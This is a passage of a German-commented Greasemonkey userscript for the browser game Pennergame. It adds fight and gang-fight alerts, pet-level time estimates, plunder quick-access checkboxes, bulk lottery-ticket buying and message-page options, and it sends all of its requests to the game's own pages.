                                        attname += "/" + dom.getElementsByTagName('name')[1].textContent;
                                        var gangid = dom.getElementsByTagName('id')[1].textContent;
                                        if (m_owngangid == gangid)
                                            attwarn = 1;
                                        else if (m_owngangid != 0)
                                            // **********************************************************************************
                                            // *** GM_XMLHTTPREQUEST *** Bandenbündnisse laden
                                            // **********************************************************************************
                                            GM_xmlhttpRequest({method: 'GET', url: GANGPACT_URL, onload: function(responseDetails) {
                                                var profcontent = responseDetails.responseText;

                                                // Wenn die Kampfseite abgerufen werden konnte (kein Seitenladefehler)
                                                if (profcontent.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                                                    var allies = profcontent.split('#222222')[2];
                                                    var allypos = allies.indexOf('<td>'+gangname+'</td>');
                                                    if (allypos != -1) {
                                                        var divPos = allies.substr(allypos).indexOf('</div>');
                                                        if (allies.substr(allypos, divPos).indexOf("bstyle0") != -1)
                                                            attwarn = 2;
                                                        }
                                                }
                                            }});
                                    }
                                }
                            }});
                        }
                        else {
                            weapon = PGu_getValue("weapon", 0) + "#";
                            weapon = weapon.split("#");
                            if (weapon[0] > 0) {
                                GM_xmlhttpRequest({method: 'POST', url: WEAPON_URL + "use/",
                                    headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                    data: encodeURI('id='+weapon[0]),
                                    onload: function(responseDetails) {
                                        PGu_setValue("weapon", 0);
                                    }});
                            }
                        }

                        // Überprüfe aktuelle Kampfwerte auf maximale Kampfstärke
                        CheckFightValues(content);

                        // Daten eingehender Kämpfe ermitteln
                        var IncomingFights = GetIncomingFights(content);

                        // Wenn es eingehende Kämpfe gibt
                        var NrOfFights = IncomingFights.length;
                        if (NrOfFights != 0) {
                            IncomingFights.sort(sortByTime);
                            var FightIcon = Math.min(NrOfFights, 6);
                            // Wenn mehr als ein Kampf eingeht
                            if (NrOfFights > 1) {
                                var FightTitle = printf(getLangTxt(TxtIncomingFights2), NrOfFights);
                                showMsg('Information', "Es laufen " + NrOfFights + " Angriffe auf Dich !! Der erste Angriff erfolgt von " + IncomingFights[0][1] + " um " + IncomingFights[0][0], 'fight_incoming');
                            // sonst: Es gibt nur einen eingehenden Kampf
                            } else {
                                var FightTitle = getLangTxt(TxtIncomingFights1);
                                showMsg('Information', "Du wirst um " + IncomingFights[0][0] + " von " + IncomingFights[0][1] + " angegriffen !!", 'fight_incoming');
                            }

                            FightTitle = '<tr><td style="font-size:12px"><b>' + FightTitle + "</b></td></tr>";
                            for (var i = 0; i < NrOfFights; i++) {
                                var splitted = IncomingFights[i];
                                var ausweich = printf(getLangTxt(TxtAusweichen), (splitted[2] == 'N'?getLangTxt(TxtAusweichN):splitted[2] == 'V'?getLangTxt(TxtAusweichV):''));
                                if (splitted[2][0] == "A")
                                    ausweich += " (-" + splitted[2].split(':')[1] + ")";
                                FightTitle += '<tr><td>' + splitted[0] + " " + splitted[1] + '</td><td>&nbsp;</td><td>' + ausweich + '</td></tr>';
                                }

                            // Kampf-Icon anzeigen
                            ShowFightIcon(FightIcon, FightTitle);
                        }
                        else
                            ShowImg('FBBACK', '/fight/', get_icon("fight")[0], '', '', '', 0, 14, 1, 'fight');
                    // sonst: Die Kampfseite konnte nicht abgerufen werden
                    } else {
                        // Fehler in Wut-Anzeige darstellen
                        ShowWutIcon(WUTSTATE_ERROR);
                        // Fehler in Power-Anzeige darstellen
                        ShowFightStateIcon(FIGHTSTATE_ERROR, 0, 0);
                        noUpdate = true;
                    }
                });
            }
        });

        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abfragen, ob es einen BANDENKAMPF gibt
        // **********************************************************************************
        GM_xmlhttpRequest({method:"GET", url: GANGFIGHT_URL, onload:function(responseDetails) {
                var content = responseDetails.responseText;

                // Anzahl Bandenkämpfe ermitteln
                var NrOfGangFights = GetNumberOfGangFights(content);

                // Wenn es laufende Bandenkämpfe gibt
                if(NrOfGangFights > 0) {
                    // Bandenkampfinfo abfragen
                    var GangFightInfo = GetGangFightInfo(content);

                    // Wenn es mehr als einen Bandenkampf gibt
                    if (NrOfGangFights > 1) {
                        var GangFightTitle = printf(getLangTxt(TxtGangFight2), NrOfGangFights, GangFightInfo);
                    // sonst: Es gibt nur einen eingehenden Kampf
                    } else {
                        var GangFightTitle = printf(getLangTxt(TxtGangFight1), GangFightInfo);
                    }
                    // Wenn es weniger als 6 Bandenkämpfe gibt
                    if (NrOfGangFights < 6) {
                        var GangFightIcon = NrOfGangFights;
                    // sonst: Es gibt 6 oder mehr Bandenkämpfe
                    } else {
                        var GangFightIcon = 6;
                    }

                    // Bandenkampf-Icon anzeigen
                    ShowGangFightIcon(GangFightIcon, GangFightTitle);

                    // Wenn die aktuelle Seite die Bandenkampfseite ist
                    if (IsFightOverviewPage()) {
                        // Setze den Neuigkeitenanzeiger zurück
                        ResetNewsFromGangFight(GangFightInfo);
                    // sonst: Die aktuelle ist nicht die Bandenkampfseite
                    } else {
                        // Überprüfe, ob sich bei den Bandenkämpfen Neuigkeiten ergeben haben
                        CheckNewsFromGangFight(GangFightInfo);
                    }

                    // Wenn es Neuigkeiten beim Bandenkampf gibt
                    if (PGu_getValue("GangFightInfoFlag", true)) {
                        ShowNewIcon();
                    }
                }
                else
                    ShowImg('GFBACK', '/gang/fight/', get_icon("gangfight")[0], '', '', '', 0, 14, 1, 'gangfight');
            }
        });
    });

    // **********************************************************************************
    // Wenn die aktuelle Seite die Haustierseite ist
    // **********************************************************************************
    if (location.toString().substr(-5) == "/pet/" || location.toString().indexOf("/pet/?") != -1) {
        function calcMin(level, ist, boost, boost2) {
            var zeit = Math.floor((level*(300+level*20) - ist - 1) / ((level + 4) * 3 * ((boost + boost2)/100 + 1.2))) + 1;
            return (zeit<0?0:zeit) + " Minute" + (zeit != 1?"n":"");
        }
        function calcTime(level, ist, istB, boost, boost2) {
            var zeit = calcMin(level, ist, 0, boost2);
            if (boost == 0)
                return zeit;
            return zeit + " (mit Boost " + calcMin(level, istB, boost, boost2) + ")";
        }
        function calcMin2(level, ist, boost, boost2, maxdauer) {
            var rest = (level-1)*(300+(level-1)*20) - ist;
            var zeit = calcMin(level, (rest>0?0:-rest), boost, boost2);
            if (rest < 0)
                return zeit;
            var routen = document.getElementsByName("route_length");
            if (routen.length > 0) {
                routen = routen[0].innerHTML.split('value="');
                var zeiten = new Array();
                for (var k = 1; k < routen.length; k++)
                    zeiten[k-1] = Number(routen[k].split('"')[0]);
            }
            else
                var zeiten = new Array(10, 30, 60, 90, 120, 180);
            for (var k = 0; k < zeiten.length; k++) {
                if (maxdauer < zeiten[k])
                    break;
                var pkt = ((level + 3) * 3 * ((boost + boost2)/100 + 1.2)) * zeiten[k];
                if (pkt <= rest)
                    continue;
                var minuten = calcMin(level, pkt - rest, boost, boost2);
                zeit += "; bei " + zeiten[k] + " Minuten: " + minuten;
                if (minuten.substr(0, 1) == "0")
                    break;
            }
            return zeit;
        }
        function calcTime2(level, ist, istB, boost, boost2, maxdauer) {
            var zeit = calcMin2(level, ist, 0, boost2, maxdauer);
            if (boost == 0)
                return zeit;
            return zeit + " (mit Boost " + calcMin2(level, istB, boost, boost2, maxdauer) + ")";
        }
        function timeTitles(doc) {
            var petafs = doc.getElementsByClassName("pet_action_finished_shell");
            if (petafs.length > 0) {
                var hs = petafs[0].getElementsByClassName("hs_shell");
                var trs = hs[0].getElementsByTagName("tr");
                var xp1 = Number(trs[1].getElementsByTagName("td")[0].innerHTML.split(" ").pop());
                var xp2 = Number(trs[3].getElementsByTagName("td")[0].innerHTML.split(" ").pop());
                var tds = hs[0].getElementsByTagName("td");
                for (var k = 0; k < tds.length; k++)
                    if (tds[k].id && tds[k].id == "roam_value_xp") {
                        var xpg = Number(tds[k].innerHTML.split(" ").pop());
                        break;
                    }
            }
            var petas = document.getElementsByClassName("petactionshell");
            for (j = 0; j < petas.length; j++) {
                var div = petas[j].getElementsByClassName("petbar");
                var level = Number(div[0].getElementsByTagName("div")[0].innerHTML);
                if (level >= 50)
                    continue;
                var bdiv = petas[j].parentNode.getElementsByClassName("plunder_boost");
                var erfboost = 0;
                if (bdiv.length > 0) {
                    var erf = bdiv[0].getElementsByTagName("div")[0].innerHTML.split("<br>")[0];
                    if (erf.indexOf("Erfahrung") != -1)
                       erfboost = parseInt(trimString(erf.split("%")[0]));
                }
                var ediv = petas[j].parentNode.getElementsByClassName("plunder_equipped");
                var erfboost2 = 0;
                if (ediv.length > 0) {
                    var erf = ediv[0].innerHTML.match(/<li .*>.*Erfahrung *<\/li>/);
                    if (erf)
                        erfboost2 = parseInt(erf[0].split("%")[0].split(">")[1].replace(/ /g, ""));
                }
                var bar = div[0].innerHTML;
                var mouseover = bar.split("mouseover")[1].split("this.innerHTML='")[1];
                var expTxt = mouseover.split("'")[0];
                var expist1 = Number(expTxt.split(" ")[0]);
                var expist2 = expist1;
                var fertig = false;
                if (div[3].innerHTML.indexOf(">Fertig<") != -1) {
                    expist1 += xp1 + xp2;
                    expist2 += xpg;
                    fertig = true;
                }
                bar =  div[1].getElementsByTagName("div")[0].innerHTML;
                var maxdauer = Number(bar.split("/")[1]);
                if (level < 49)
                    var zeit2txt = "; nächstes Level: " + calcTime2(level + 1, expist1, expist2, erfboost, erfboost2, maxdauer);
                else
                    var zeit2txt = "";
                div[0].innerHTML = div[0].innerHTML.replace(expTxt, expTxt + "'; this.title='" + (fertig?"Dein Haustier ist zurück: ":"")+"dieses Level noch " + calcTime(level, expist1, expist2, erfboost, erfboost2) + zeit2txt);
            }
        }
        function sortValues (elements, q) {
            var last = elements.length - 1;
            if (elements[last].className.indexOf("slot_disabled") != -1)
                last--;
            for (var i = 0; i < last; i++) {
                var k = (q == -1 ? last : i);
                if (k < last)
                    var stamina = Number(elements[i].getElementsByClassName("statcontainer")[q].innerText);
                for (var j = k+1; j <= last; j++) {
                    var stam = Number(elements[j].getElementsByClassName("statcontainer")[q].innerText);
                    if (stam > stamina) {
                        k = j;
                        stamina = stam;
                    }
                }
                if (k != i) {
                    var nextSibling = elements[i].parentNode.removeChild(elements[k]);
                    elements[i].parentNode.insertBefore(nextSibling, elements[i]);
                }
            }
        }
        var sortind = [];
        function ModifySortBox(box) {
            var sortBox = document.getElementsByName("sorting");
            if (sortBox.length == 0) {
                window.setTimeout(ModifySortBox, 1000, 0);
                return;
            }
            if (sortBox.length == 1)
                document.getElementById("meadow_click").addEventListener('click', function(event) {
                    window.setTimeout(ModifySortBox, 500, 1);
                    return;
                }, false);
            var quals = ["Ausdauer", "Kampfkraft", "Spürnase", "Wachsamkeit", "umgekehrt"];
            if (sortBox[box].innerHTML.indexOf(quals[quals.length-1]) != -1)
                return;
            var option = "<option" + sortBox[box].innerHTML.split("<option").pop();
            for (var i = 0; i < quals.length; i++)
                sortBox[box].innerHTML = sortBox[box].innerHTML + option.replace(/>.*</, ">" + quals[i] +"<");
            sortind[box] = sortBox[box].selectedIndex;
            sortBox[box].addEventListener("change", function(event) {
                var i = quals.indexOf(this.value);
                if (i >= 0) {
                    sortValues(document.getElementsByClassName("inactive_shell")[box].getElementsByClassName('petshell'), (i == quals.length-1?-1:i));
                }
                if (i == quals.length - 1)
                    this.selectedIndex = sortind[box];
                else
                    sortind[box] = this.selectedIndex;
            }, false);
        }

        var kader = document.getElementById("pet_kader");
        if (kader) {
            if (document.getElementsByClassName("pet_action_finished_shell").length > 0)
                timeTitles(document);
            else {
                GM_xmlhttpRequest({method:"GET", url: PET_URL + "tab/action/", onload:function(responseDetails) {
                    var content = responseDetails.responseText;
                    var doc = HTML2DOM(content);
                    timeTitles(doc);
                }});
            }
        }
        window.setTimeout(ModifySortBox, 1000, 0);
        document.getElementById("plundertab").getElementsByTagName("a")[1].addEventListener('click', function(event) {
            window.setTimeout(ModifySortBox, 500, 0);
            return;
        }, false);
    }

    // **********************************************************************************
    // Wenn die aktuelle Seite die Plunderseite ist
    // **********************************************************************************
    if (IsPlunderPage() && document.getElementsByClassName("grunge zleft").length > 0) {
        var fnPlunderChB = function () {
            function insPlunderChb (plundertrs) {
                var selectedTab = -1;
                if (!oldVersion) {
                    var plundertab = document.getElementById("plundertab").getElementsByTagName("li");
                    for (var ii = 0; ii < plundertab.length; ii++)
                        if (plundertab[ii].getElementsByClassName("selected").length > 0) {
                            selectedTab = ii;
                            break;
                        }
                }
                else {
                    // "Verkaufen"-Spalte schmaler machen
                    GM_addStyle('#content .grunge #plunder table th.col4 div { width: 70px; }');
                    GM_addStyle('#content .grunge #plunder table th.col4     { width: 70px; }');
                }

                // Icon zum Leeren des Plunder-Direktzugriffs hinzufügen
                AddResetIcon(plundertable);

                if (selectedTab == 5)
                    return;

                // Für alle Zeilen mit Plunderstücken
                for (var i = oldVersion; i < plundertrs.length; i++) {
                    // **********************************************************************************
                    // Funktion fügt Ausführungscode zur aktuellen Checkbox hinzu
                    // **********************************************************************************
                    function PrepareCheckbox(i, usemode, plunderinfo) {
                        // Checkbox checken/unchecken in Abhängigkeit davon, ob das Plunderstück in der Direktzugriffsliste ist
                        document.getElementById("Checkbox" + usemode + "_" + i).checked = (IsPlunderInList(plunderinfo + "*" + usemode) > 0);
                        document.getElementById("Checkbox" + usemode + "_" + i).title = usemode=="A"?getLangTxt(TxtEquip):getLangTxt(TxtUse);

                        // Eventhandler hinzufügen für Click-Ereignis
                        document.getElementById("Checkbox" + usemode + "_" + i).addEventListener("click", function(event)
                        {
                            // Wenn die Checkbox gecheckt ist
                            if (this.checked) {
                                // Wenn noch nicht mehr als 9 Plunder in der Direktzugriffsliste stehen
                                    // Plunderstück in die Direktzugriffsliste hinzufügen
                                    AddPlunderToList(this.getAttribute("name").split("*")[0] + "*" + this.getAttribute("name").split("*")[1] + "*" + usemode);
                            // sonst: Die Checkbox ist nicht gecheckt
                            } else {
                                // Plunderstück aus der Direktzugriffsliste entfernen
                                RemovePlunderFromList(this.getAttribute("name").split("*")[0] + "*" + this.getAttribute("name").split("*")[1] + "*" + usemode);
                            }
                            // Eventuell bereits schon angezeigten Direktplunder entfernen
                            HideAllPlunder();
                            // Aktuellen Direktplunder anzeigen
                            ShowAllPlunder(document.getElementsByTagName("html")[0].innerHTML, GetNrOfPlunderInList(), -1, 0);
                        }, false);
                    }
                    function insElem(newtd, box, plundertrs, i, usemode, plunderinfo, td) {
                        if (box) {
                            // Checkbox zusammenstellen
                            newtd.innerHTML = "<form name='PlunderCheckbox' action=''>" +
                                              "<input name='" + plunderinfo + "*"+usemode+"' id='Checkbox"+usemode+"_"+i + "' type='checkbox'></form>";
                            // Zelle anhängen
                            plundertrs[i].insertBefore(newtd, oldVersion?td:td.nextSibling);
                            PrepareCheckbox(i, usemode, plunderinfo);
                        // sonst: Das Plunderstück kann nicht angelegt/benutzt werden
                        } else {
                            // Leere Zelle
                            newtd.innerHTML = "&nbsp;";
                            // Zelle anhängen
                            plundertrs[i].insertBefore(newtd, oldVersion?td:td.nextSibling);
                        }
                    }

                    // Spalte mit benutzbarem Plunder speichern
                    var benutztd = plundertrs[i].getElementsByTagName("td")[oldVersion?4:5];
                    if (oldVersion)
                        benutztd.setAttribute('style', 'padding-left: 3px; padding-right: 7px; padding-top: 11px');
                    else
                        benutztd.setAttribute('style', 'padding-left: 5px; padding-right: 4px');
                    // Spalte mit anlegbarem Plunder speichern
                    var anlegtd = plundertrs[i].getElementsByTagName("td")[5];
                    if (oldVersion)
                        anlegtd.setAttribute('style', 'padding-left: 5px; padding-right: 4px; padding-top: 11px');
                    else
                        anlegtd.setAttribute('style', 'padding-left: 5px; padding-right: 4px');

                    // Zwei neue Spalten anlegen und formatieren
                    var newtd1 = document.createElement("td");
                    if (oldVersion)
                        newtd1.setAttribute('style', 'padding-left: 0px; padding-right: 4px; padding-top: 13px; width: 10px;');
                    else
                        newtd1.setAttribute('style', 'padding-left: 0px; padding-right: 11px; padding-top: 13px; width: 10px;');
                    var newtd2 = document.createElement("td");
                    newtd2.setAttribute('style', 'padding-left: 0px; padding-right: 11px; padding-top: 13px; width: 10px;');

                    // Plunderinfo zusammenstellen aus Dateiname des Icons und Plundername, separiert durch "*"
                    var plunderinfo = GetPlunderPic(plundertrs[i]) + "*" + GetPlunderName(plundertrs[i]);

                    // **********************************************************************************
                    // Wenn das Plunderstück benutzbar ist
                    // **********************************************************************************
                    var benutzbar = (selectedTab == (nrOfTabs>=6?3:2)) || (oldVersion && benutztd.getElementsByTagName("a").length > 0);
                    if (!benutzbar && nrOfTabs < 6) {
                        var td = benutztd.getElementsByTagName("ul");
                        for (var ii = 0; ii < td.length; ii++) {
                            if ((td[ii].innerHTML.indexOf('execboost') != -1 || td[ii].innerHTML.indexOf('choose_target') != -1) && td[ii].innerHTML.indexOf("use_stuff(") != -1) {
                                benutzbar = true;
                                break;
                            }
                        }
                    }
                    insElem(newtd1, benutzbar, plundertrs, i, "B", plunderinfo, anlegtd);

                    // **********************************************************************************
                    // Wenn das Plunderstück anlegbar ist
                    // **********************************************************************************
                    var anlegbar = (nrOfTabs>=6?(selectedTab >= 0 && selectedTab != 3):false) || (oldVersion && anlegtd.getElementsByTagName("a").length > 0);
                    if (!anlegbar && nrOfTabs < 6) {
                        var td = anlegtd.getElementsByTagName("ul");
                        for (var ii = 0; ii < td.length; ii++)
                            if (td[ii].innerHTML.indexOf('change_stuff') != -1) {
                                anlegbar = true;
                                break;
                            }
                    }
                    insElem(newtd2, anlegbar, plundertrs, i, "A", plunderinfo, anlegtd);
                }
            }
            // Referenz auf Plundertabelle speichern
            var plundertable = document.getElementById("plunderlist").getElementsByTagName("table");
            if (plundertable.length > 0) {
                plundertable = plundertable[0];
                // Referenz auf Zeilen der Plundertabelle speichern
                var plundertrs = plundertable.getElementsByTagName("tr");
                if (plundertrs.length > 0)
                    insPlunderChb(plundertrs);
            }
            if (!oldVersion) {
                var PlunderChbTO = function() {
                    var plundertable = document.getElementById("plunderlist").getElementsByTagName("table");
                    if (plundertable.length > 0) {
                        plundertable = plundertable[0];
                        // Referenz auf Zeilen der Plundertabelle speichern
                        var plundertrs = plundertable.getElementsByTagName("tr");
                        if (plundertrs.length > 0 && document.getElementsByName("PlunderCheckbox").length == 0)
                            insPlunderChb(plundertrs);
                    }
                    window.setTimeout(PlunderChbTO, 2000);
                }
                window.setTimeout(PlunderChbTO, 2000);
            }
        }
        fnPlunderChB();
    }

    // **********************************************************************************
    // Wenn die aktuelle Seite die Bastelseite ist
    // **********************************************************************************
    if (IsCraftPage()) {
        var tables = document.getElementsByTagName("table");
        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Plunderseite abfragen
        // **********************************************************************************
        GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL, onload:function(responseDetails) {
            var content = responseDetails.responseText;
            var aktPlunder = trimString(PGu_getValue("LastPlunderName", ""));
            for (var i = 0; i < tables.length; i++) {
                var tname = tables[i].id;
                if (tname.substr(0,12) != "messageslist")
                    continue;
                tabnr = tname.substr(12);
                if (tabnr < 3)
                    continue;
                var td = tables[i].getElementsByTagName("tr")[1].getElementsByTagName("td")[2];
                var prefix = td.innerHTML.split(">")[0] + ">";
                var text = td.innerHTML.substr(prefix.length).split("</p>")[0];
                var text2 = text;
                var plunderlist = text.split("<br>");
                for (j = 0; j < plunderlist.length; j++) {
                    var plunder = plunderlist[j];
                    var p = plunder.indexOf("x ");
                    var pname = trimString(plunder.substr(p+2));
                    var pInd = content.search('"> *' + pname + ' *<');
                    var pAnz = 0;
                    if (pInd != -1)
                        pAnz = content.substr(pInd).split('"col3">')[1].split(" ")[0];
                    if (aktPlunder == pname)
                        pAnz++;
                    text2 = text2.replace(pname, pname + " (" + pAnz + ")");
                }
                td.innerHTML = td.innerHTML.replace(text, text2);
            }
        }});
    }

    // **********************************************************************************
    // Wenn die aktuelle Seite die Loseseite ist
    // **********************************************************************************
    if (IsGamePage()) {
        function Losekaufen(menge, maxMenge, gewinne)
        {
            if (menge <= 0) {
                document.getElementsByName('submitForm')[0].disabled = false;
                var Stat = "";
                var gesamt = 0;
                var einsatz = 0;
                var price = Number(document.getElementById("preis_cent1").value)/100;
                var aktcurr = " " + (currency1 != ""?currency1:currency);
                for (i = 0; i < gewinne.length; i++) {
                    var win = gewinne[i][0];
                    if (isNaN(win)) {
                       if (win == "auszeichnung")
                           win = getLangTxt(TxtAuszeichnung);
                    }
                    else if (win == 0)
                        win = getLangTxt(TxtNiete);
                    else {
                        gesamt += win * gewinne[i][1];
                        win += aktcurr;
                    }
                    Stat += gewinne[i][1] + " x " + win + ", ";
                    einsatz += gewinne[i][1] * price;
                }
                alert(Stat + printf(getLangTxt(TxtTotalWon), gesamt, einsatz, gesamt - einsatz));
                //alert(PGu_getValue("winnings", ""));
                refreshPage();
                return;
            }

            document.getElementById('NochLose').innerHTML = printf(getLangTxt(TxtBuyTickets), menge);
            var bmenge = menge;
            if (bmenge > maxMenge)
                bmenge = maxMenge;

            document.getElementById('menge1').value = bmenge;
            unsafeWindow.generatePreis(1,10);

            var data = "";
            var input = document.getElementById('content').getElementsByClassName('listshop')[0].getElementsByTagName('td')[4].getElementsByTagName("input");
            for (i = 0; i < input.length; i++)
                if (input[i].name != "max")
                    data += input[i].name + "=" + (input[i].name == "menge"?bmenge:input[i].value) + "&";
            GM_xmlhttpRequest({method: 'POST',
                               url: window.location.protocol + '//' + window.location.hostname + '/city/games/buy/',
                               headers: {'Content-type': 'application/x-www-form-urlencoded'},
                               data: encodeURI(data.substr(0,data.length-1)),
                               onload: function(responseDetails) {
                                           var content = responseDetails.responseText;
                                           var money = document.getElementsByClassName("icon money");
                                           if (content.indexOf("new_cash") != -1) {
                                               var money2 = money_format(Number(content.split('"new_cash":')[1].split(",")[0].trim())/100, "");
                                               var spl = money[0].innerHTML.split("</a>")[0].split(">");
                                               money[0].innerHTML = spl[0]+">"+money2+"</a>";
                                               menge = menge - bmenge;
                                               var gew = content.split('"winnings":')[1].split(",")[0].trim();
                                               //PGu_setValue("winnings", PGu_getValue("winnings", "") + content);
                                               if (!isNaN(gew) && gew != "0")
                                                   gew = gew.substr(0, gew.length-2);
                                               for (j = 0; j < gewinne.length; j++)
                                                   if (!isNaN(gew) && gewinne[j][0] > gew) {
                                                       gewinne.splice(j, 0, new Array(gew, 1));
                                                       break;
                                                   }
                                                   else if (gewinne[j][0] == gew) {
                                                       gewinne[j][1]++;
                                                       break;
                                                   }
                                               if (j == gewinne.length)
                                                   gewinne[j] = new Array(gew, 1);
                                           }
                                           else {
                                               var spl = content.split('icon money">');
                                               if (spl.length > 1) {
                                                   money2 = spl[1].split("</a>")[0].split(">");
                                                   money[0].innerHTML = money2[0]+">"+money2[1]+"</a>";
                                                   menge = menge - bmenge;
                                               }
                                               spl = content.split('swf?gewinn=');
                                               for (i = 1; i < spl.length; i++) {
                                                   if (i % 2 == 0)
                                                       continue;
                                                   var gew = spl[i].split("&")[0];
                                                   if (!isNaN(gew))
                                                       gew = Number(gew);
                                                   for (j = 0; j < gewinne.length; j++)
                                                       if (!isNaN(gew) && gewinne[j][0] > gew) {
                                                           gewinne.splice(j, 0, new Array(gew, 1));
                                                           break;
                                                       }
                                                       else if (gewinne[j][0] == gew) {
                                                           gewinne[j][1]++;
                                                           break;
                                                       }
                                                   if (j == gewinne.length)
                                                       gewinne[j] = new Array(gew, 1);
                                               }
                                           }
                                           Losekaufen(menge, maxMenge, gewinne);
                                       }
                              });
        }

        function getAnzLose() {
            var tds = document.getElementsByTagName('table')[0].getElementsByTagName('tr')[1].getElementsByTagName('td');
            var pos = tds[0].innerHTML.indexOf('id="lose_remaining"');
            if (pos >= 0)
                return Number(tds[0].innerHTML.substr(pos).split("<")[0].split(">")[1].trim());
            var texts = tds[0].innerHTML.split(' ');
            var NochLose = -1;
            for (i = texts.length-1; i > 0; i--)
                if (texts[i] != "" && !isNaN(texts[i])) {
                    NochLose = Number(texts[i]);
                    break;
                }
            return NochLose;
        }

        var tdlose = document.getElementById('content').getElementsByClassName('listshop')[0].getElementsByTagName('td');
        tdlose[3].id = "NochLose";
        var NochLose = getAnzLose();
        if (NochLose < 0)
            NochLose = 500;
        if (NochLose != 0) {
            var input = document.createElement('input');
            input.type = 'button';
            input.value = getLangTxt(Txtmax);
            input.id = 'max';
            input.name = 'max';
            tdlose[4].appendChild(input, tdlose[4].firstChild);
            document.getElementById('submitForm1').disabled = (NochLose == 0);

            document.getElementsByName('menge')[0].parentNode.innerHTML = document.getElementsByName('menge')[0].parentNode.innerHTML.replace("1,1","1,10");
            document.getElementsByName('menge')[0].addEventListener('keyup', function onkeyup() {
                var testmenge = document.getElementsByName('menge')[0].value;
                var NochLose = getAnzLose();
                if (NochLose != -1 && Number(testmenge) > NochLose) {
                    document.getElementById('menge1').value = NochLose;
                    if (NochLose > 0) {
                        unsafeWindow.generatePreis(1,10);
                    }
                };
            },false);

            document.getElementsByName('max')[0].addEventListener('click', function start() {
                var NochLose = getAnzLose();
                if (NochLose < 0)
                    NochLose = 500;
                document.getElementById('menge1').value = NochLose;
                if (NochLose > 0) {
                    unsafeWindow.generatePreis(1,10);
                }
                else
                    document.getElementById('submitForm1').disabled = true;
            },false);
        }

        if (NochLose != 0) {
            document.getElementById('submitForm1').onclick = function(event) {
                var menge = Number(document.getElementById('menge1').value);
                document.getElementsByName('submitForm')[0].disabled = true;
                Losekaufen(menge, 1, new Array());
                return false;
            }
        }
    }

    // **********************************************************************************
    // Wenn die aktuelle Seite die V-Waffenseite ist
    // **********************************************************************************
    if (IsDefWeaponPage()) {
        var tdkopf = document.getElementById('content').getElementsByClassName('listshop')[0].getElementsByTagName('td');
        tdkopf[0].innerHTML += "<br>";
        var newspan = document.createElement('span');
        newspan.innerHTML = "<span>&nbsp;"+getLangTxt(TxtBuyLastDefWpn)+"</span>";
        var input = document.createElement('input');
        input.type = 'checkbox';
        input.checked = PGu_getValue("rebuyLastDefWpn", false);
        input.id = 'rebuy';
        input.name = 'rebuy';
        newspan.insertBefore(input, newspan.firstChild);
        tdkopf[0].appendChild(newspan);
        var newtd = document.createElement('td');
        newtd.innerHTML = "<td>&nbsp;"+getLangTxt(TxtRmdDefWpn)+": </td>";
        var input = document.createElement('input');
        input.type = 'checkbox';
        input.id = 'remind';
        input.name = 'remind';
        newtd.insertBefore(input, newtd.firstChild);
        input = document.createElement('input');
        input.type = 'text';
        input.size = 3;
        input.id = 'remindcnt';
        input.name = 'remindcnt';
        newtd.appendChild(input);
        newtd.innerHTML += "&nbsp;&nbsp;&nbsp;";
        input = document.createElement('input');
        input.type = 'checkbox';
        input.id = 'woconf';
        input.name = 'woconf';
        newtd.appendChild(input);
        newtd.innerHTML += "&nbsp;&nbsp;" + getLangTxt(TxtNoConfirm);
        tdkopf[0].appendChild(newtd);
        document.getElementById("remind").checked = PGu_getValue("remindDefWpn", false);
        document.getElementById("remindcnt").value = PGu_getValue("remindDefWpnMax", 3);
        document.getElementById("woconf").checked = PGu_getValue("woConfDefWpn", false);

        document.getElementById('rebuy').addEventListener('click', function onClick() {
            var checkVal = document.getElementById('rebuy').checked;
            PGu_setValue("rebuyLastDefWpn", checkVal);
            PGu_setValue("remindDefWpnCnt", 0);
        },false);

        document.getElementById('remind').addEventListener('click', function onClick() {
            var checkVal = document.getElementById('remind').checked;
            PGu_setValue("remindDefWpn", checkVal);
            if (checkVal) {
                var cnt = document.getElementById('remindcnt').value;
                PGu_setValue("remindDefWpnMax", cnt);
                PGu_setValue("remindDefWpnCnt", 0);
            }
        },false);

        document.getElementById('remindcnt').addEventListener('change', function onChange() {
            var cnt = document.getElementById('remindcnt').value;
            PGu_setValue("remindDefWpnMax", cnt);
        },false);

        document.getElementById('woconf').addEventListener('click', function onClick() {
            var checkVal = document.getElementById('woconf').checked;
            PGu_setValue("woConfDefWpn", checkVal);
        },false);
    }

    // **********************************************************************************
    // Wenn die aktuelle Seite die Nachrichtenseite ist
    // **********************************************************************************
    if (IsMessagesPage() && lang == 0) {
        var tdkopf = document.getElementById('messageslist').getElementsByTagName("tr");
        var newtr = document.createElement('tr');
        var newtd = document.createElement('td');
        newtd.innerHTML = '<td>&nbsp;'+getLangTxt(TxtDeactKKMsg)+'</td>';
        var input = document.createElement('input');
        input.type = 'checkbox';
        input.id = 'deactKK';
        input.name = 'deactKK';
        newtd.setAttribute('colspan', 3);
        newtd.insertBefore(input, newtd.firstChild);
        newtr.appendChild(newtd);
        tdkopf[0].parentNode.insertBefore(newtr, tdkopf[0]);
        document.getElementById("deactKK").checked = PGu_getValue("deactKKMsgs", false);

        document.getElementById('deactKK').addEventListener('click', function onClick() {
            var checkVal = document.getElementById('deactKK').checked;
            PGu_setValue("deactKKMsgs", checkVal);
        },false);
        var input2 = document.createElement('input');
        input2.type = 'button';
        input2.id = 'setmsgread';
        input2.name = 'setmsgread';
        input2.value = "Ausgewählte Nachrichten als gelesen markieren";
        var form = document.getElementById("delete_all");
        form.appendChild(input2);
        document.getElementById('setmsgread').addEventListener('click', function onClick() {
            var table = document.getElementById("messageslist");
            var delmsg = document.getElementsByName("del_msg");
            var trs = table.getElementsByClassName("msglist");
            for (var i = 0; i < trs.length; i++)
                if (delmsg[i].checked) {
                    GM_xmlhttpRequest({method: 'GET', url: trs[i].getElementsByTagName("a")[0].href, onload: function(responseDetails) { }});
                    delmsg[i].checked = false ;
                }
            window.setTimeout("document.location.reload()", 2000);
        },false);

    }

    // **********************************************************************************
    // Kronkorken-Nachrichten deaktivieren und entfernen
    // **********************************************************************************
    if (PGu_getValue("deactKKMsgs", false)) {
        function deactAndRemove(content) {
            var pos = content.search(/\d+\sKronkorken/);
            if (pos == -1)
                return;
            pos = content.substr(pos-200).indexOf('<a href=') + pos - 200;
            var href = content.substr(pos).split('"')[1];
            GM_xmlhttpRequest({method: 'GET', url: TOWNBASE_URL + href + "?mail_block=true", onload: function(responseDetails) {
